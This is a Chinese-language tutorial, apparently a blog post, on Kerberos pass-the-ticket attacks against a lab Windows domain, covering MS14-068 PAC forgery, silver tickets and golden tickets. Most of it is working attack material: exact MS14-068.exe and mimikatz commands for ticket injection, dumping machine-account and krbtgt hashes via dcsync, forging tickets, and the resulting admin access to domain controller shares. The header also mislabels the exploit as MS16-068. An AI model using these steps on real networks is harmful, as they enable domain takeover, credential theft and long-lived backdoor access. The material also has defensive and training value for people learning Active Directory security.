描述 ptt攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:
MS16-068,Golden ticket,SILVER ticket。
之前介绍了Kerberos协议具体工作方法,在域中,简要介绍一下:
客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)
将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据
然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测
检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。
ms14-068 1 2 3 4 5 6 MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证. windows域中使用kerberos协议过程中,为了让SS服务器判断Client是否有权限访问服务,引入了PAC机制。构造PAC也是这个漏洞的根本。 1. 在请求AS时,将require_PAC设置成False。 2. 在请求TGS时,构造PAC,然后使用MD5签名(PAC尾部的签名算法可以任意指定),PAC并没有放在TGT中发送,而是在请求包的其他位置(但是还是可以解析)。 3. TGS_REP返回的不是会话密钥,而是返回的带PAC的TGT(微软的锅)
造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780
1 systeminfo |find "3011780"
影响范围 涉及系统:Windows Server 2003 Windows Vista Windows Server 2008 Windows 7 Windows Server 2008 R2 Windows 8 and Windows 8.1 Windows Server 2012 and Windows Server 2012 R2 Server Core installation option
利用方式 1.使用whoami /user得到普通域用户的sid
1 2 3 4 5 6 7 8 9 10 11 12 C:\Users\cve-test>whoami /user 用户信息 ---------------- 用户名 SID ============ ============================================== lab\cve-test S-1-5-21-1799307087-3941118632-1964125693-2102 C:\Users\cve-test>
2.利用工具 ms14-068
使用方法:
1 ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
运行实例
1 MS14-068.exe -u [email protected] -s S-1-5-21-1799307087-3941118632-1964125693-2102 -d 192.168.100.30 -p 123.com
输出内容
1 2 3 4 5 6 7 8 9 10 C:\Users\win7\Desktop>MS14-068.exe -u [email protected] -s S-1-5-21-1799307087-3941118632-1964125693-2102 -d 192.168.100.30 -p 123.com [+] Building AS-REQ for 192.168.100.30... Done! [+] Sending AS-REQ to 192.168.100.30... Done! [+] Receiving AS-REP from 192.168.100.30... Done! [+] Parsing AS-REP from 192.168.100.30... Done! [+] Building TGS-REQ for 192.168.100.30... Done! [+] Sending TGS-REQ to 192.168.100.30... Done! [+] Receiving TGS-REP from 192.168.100.30... Done! [+] Parsing TGS-REP from 192.168.100.30... Done! [+] Creating ccache file '[email protected] ' ... Done!
3.票据注入
使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
1 2 3 mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造 mimikatz # kerberos::list //查看当前机器凭证 mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 C:\Users\win7\Desktop\mimikatz_trunk1 2\x64>mimikatz.exe . . '## v ##' Vincent LE TOUX ( [email protected] ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz [00000000] - 0x00000017 - rc4_hmac_nt Start/End/MaxRenew: 2021/12/17 10:54:07 ; 2021/12/17 20:54:06 ; 2021/12/24 10:54:06 Server Name : krbtgt/LAB.COM @ LAB.COM Client Name : cve-test @ LAB.COM Flags 50a10000 : name_canonicalize ; pre_authent ; renewable ; proxiable ; forwardable ; mimikatz Ticket(s) purge for current session is OK mimikatz mimikatz mimikatz Principal : (01) : cve-test ; @ LAB.COM Data 0 Start/End/MaxRenew: 2021/12/17 10:57:51 ; 2021/12/17 20:57:51 ; 2021/12/24 10:57:51 Service Name (01) : krbtgt ; LAB.COM ; @ LAB.COM Target Name (01) : krbtgt ; LAB.COM ; @ LAB.COM Client Name (01) : cve-test ; @ LAB.COM Flags 50a10000 : name_canonicalize ; pre_authent ; renewable ; proxiable ; forwardable ; Session Key : 0x00000017 - rc4_hmac_nt 8f1c17519f93dab38a391bc832a477d5 Ticket : 0x00000000 - null ; kvno = 2 [...] * Injecting ticket : OK mimikatz Bye!
注入票据后,可以使用dir \x.x.x.x\c$ 来访问域控(后续利用参考,wmic等方式)
白银票据(Silver ticket) 描述 silver ticket和golden ticket不同的是,它不需要和域控制器进行通信,原理是伪造TGS,使用的是计算机账户的hash进行加密的,所以只能访问指定的权限。
首先需要目标的机器账号hash。然后在进行伪造权限,进行ptt
目标机器为win2008,攻击机器为win7
1.使用mimikatz获取到win2008的机器账号(WIN2008$)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 mimikatz(commandline) Privilege '20' OK mimikatz(commandline) Authentication Id : 0 ; 996 (00000000:000003e4) Session : Service from 0 User Name : WIN2008$ Domain : LAB Logon Server : (null) Logon Time : 2021/12/16 13:11:16 SID : S-1-5-20 msv : [00000003] Primary * Username : WIN2008$ * Domain : LAB * NTLM : f78dd9e2f973830056e39dff42af4930 * SHA1 : b44b0b6700f297142b5e635ceb5b8ae6dcf9cae5 tspkg : wdigest :
2.在普通域用户机器中进行ptt
获取SID,票据利用中不需要SID最后几位的身份识别码。
1 2 3 4 5 6 7 8 9 C:\Users\cve-test>whoami /user 用户信息 ---------------- 用户名 SID ============ ============================================== lab\cve-test S-1-5-21-1799307087-3941118632-1964125693-2102
进行ptt
1 kerberos::golden /domain:lab.com /sid:S-1-5-21-1799307087-3941118632-1964125693 /target:win2008.lab.com /rc4:f78dd9e2f973830056e39dff42af4930 /service:cifs /user:mary /ptt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 . . '## v ##' Vincent LE TOUX ( [email protected] ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(commandline) Using 'mimikatz.log' for logfile : OK mimikatz(commandline) User : mary Domain : lab.com (LAB) SID : S-1-5-21-1799307087-3941118632-1964125693 User Id : 500 Groups Id : *513 512 520 518 519 ServiceKey: f78dd9e2f973830056e39dff42af4930 - rc4_hmac_nt Service : cifs Target : 192.168.100.37 Lifetime : 2021/12/19 14:57:51 ; 2031/12/17 14:57:51 ; 2031/12/17 14:57:51 -> Ticket : ** Pass The Ticket ** * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Golden ticket for 'mary @ lab.com' successfully submitted for current session
可成功访问win2008的机器,后续利用参考wmic
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 C:\Users\cve-test\Desktop\mimikatz_trunk1 2\x64>dir \\win2008\c$ 驱动器 \\win2008\c$ 中的卷没有标签。 卷的序列号是 A09D-7ABE \\win2008\c$ 的目录 2009/07/14 11:20 <DIR> PerfLogs 2021/08/23 18:27 <DIR> Program Files 2009/07/14 13:06 <DIR> Program Files (x86) 2021/12/14 22:38 <DIR> Users 2021/08/23 20:40 <DIR> Windows 2021/12/16 15:25 59 新建文本文档.txt 1 个文件 59 字节 5 个目录 30,594,490,368 可用字节 C:\Users\cve-test\Desktop\mimikatz_trunk1 2\x64>whoami lab\cve-test C:\Users\cve-test\Desktop\mimikatz_trunk1 2\x64>hostname win7 C:\Users\cve-test\Desktop\mimikatz_trunk1 2\x64>klist 当前登录 ID 是 0:0x5028a 缓存的票证: (2) 服务器: cifs/win2008.lab.com @ lab.com Kerberos 票证加密类型: RSADSI RC4-HMAC(NT) 票证标志 0x40a00000 -> forwardable renewable pre_authent 开始时间: 12/19/2021 15:12:39 (本地) 结束时间: 12/17/2031 15:12:39 (本地) 续订时间: 12/17/2031 15:12:39 (本地) 会话密钥类型: RSADSI RC4-HMAC(NT) C:\Users\cve-test\Desktop\mimikatz_trunk1 2\x64>
黄金票据(Golden ticket) 描述 Golden ticket的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。
那么如果获取到了krbtgt的密码hash值,是不是就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门
伪造黄金凭据需要具备下面条件:
krbtgt用户的hash(就意味着你已经有域控制器权限了)
域名称
域的SID值
要伪造的用户名
登陆域控,dump krbtgt用户的hash值,
1 2 3 privilege::debug lsadump::dcsync /dc01.lab.com /all
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 . . '## v ##' Vincent LE TOUX ( [email protected] ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(commandline) Using 'mimikatz.log' for logfile : OK mimikatz(commandline) Privilege '20' OK mimikatz(commandline) [DC] 'lab.com' will be the domain [DC] 'DC01.lab.com' will be the DC server [DC] Exporting domain 'lab.com' [rpc] Service : ldap [rpc] AuthnSvc : GSS_NEGOTIATE (9) ... ... ** SAM ACCOUNT ** SAM Username : krbtgt User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT ) Object Security ID : S-1-5-21-1799307087-3941118632-1964125693-502 Object Relative ID : 502 Credentials: Hash NTLM: 392ffcfeacc6914f5a2e4d3f7893457d Object RDN : Read-only Domain Controllers ** SAM ACCOUNT ** SAM Username : Read-only Domain Controllers Object Security ID : S-1-5-21-1799307087-3941118632-1964125693-521 Object Relative ID : 521 Credentials: ... ...
进行ptt
1 2 3 kerberos::golden /admin:administrator /domain:lab.com /sid:S-1-5-21-1799307087-3941118632-1964125693 /krbtgt:392ffcfeacc6914f5a2e4d3f7893457d /ticket:golden.kiribi kerberos::golden /admin:administrator /domain:lab.com /sid:S-1-5-21-1799307087-3941118632-1964125693 /krbtgt:392ffcfeacc6914f5a2e4d3f7893457d /ptt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 C:\Users\cve-test\Desktop\mimikatz_trunk1 2\x64>mimikatz.exe . . '## v ##' Vincent LE TOUX ( [email protected] ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz 799307087-3941118632-1964125693 /krbtgt:392ffcfeacc6914f5a2e4d3f7893457d /ptt User : administrator Domain : lab.com (LAB) SID : S-1-5-21-1799307087-3941118632-1964125693 User Id : 500 Groups Id : *513 512 520 518 519 ServiceKey: 392ffcfeacc6914f5a2e4d3f7893457d - rc4_hmac_nt Lifetime : 2021/12/19 15:30:40 ; 2031/12/17 15:30:40 ; 2031/12/17 15:30:40 -> Ticket : ** Pass The Ticket ** * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Golden ticket for 'administrator @ lab.com' successfully submitted for current s ession mimikatz Bye! C:\Users\cve-test\Desktop\mimikatz_trunk1 2\x64>klist 当前登录 ID 是 0:0x5028a 缓存的票证: (1) 服务器: krbtgt/lab.com @ lab.com Kerberos 票证加密类型: RSADSI RC4-HMAC(NT) 票证标志 0x40e00000 -> forwardable renewable initial pre_authent 开始时间: 12/19/2021 15:30:40 (本地) 结束时间: 12/17/2031 15:30:40 (本地) 续订时间: 12/17/2031 15:30:40 (本地) 会话密钥类型: RSADSI RC4-HMAC(NT) C:\Users\cve-test\Desktop\mimikatz_trunk1 2\x64>dir \\dc01.lab.com\c$ 驱动器 \\dc01.lab.com\c$ 中的卷没有标签。 卷的序列号是 C219-9288 \\dc01.lab.com\c$ 的目录 2021/10/23 20:12 <JUNCTION> $SNAP_202110232011_VOLUMEC$ [\??\Volume{2069 70b5-33f3-11ec-80bd-000c29ed4c86}\] 2021/12/11 20:27 <JUNCTION> $SNAP_202112112026_VOLUMEC$ [\??\Volume{aab2 c429-3950-11ec-80c2-000c29ed4c86}\] 2021/12/11 20:26 20,987,904 ntds.dit 2013/08/22 23:52 <DIR> PerfLogs 2021/08/23 20:36 <DIR> Program Files 2013/08/22 23:39 <DIR> Program Files (x86) 2021/12/11 20:31 12,935,168 system 2021/08/23 19:57 <DIR> Users 2021/09/26 11:20 <DIR> Windows 2 个文件 33,923,072 字节 7 个目录 49,284,296,704 可用字节 C:\Users\cve-test\Desktop\mimikatz_trunk1 2\x64>
参考链接 https://www.cnblogs.com/bmjoker/p/10355979.html
https://shu1l.github.io/2020/06/06/qian-xi-huang-jin-piao-ju-yu-bai-yin-piao-ju/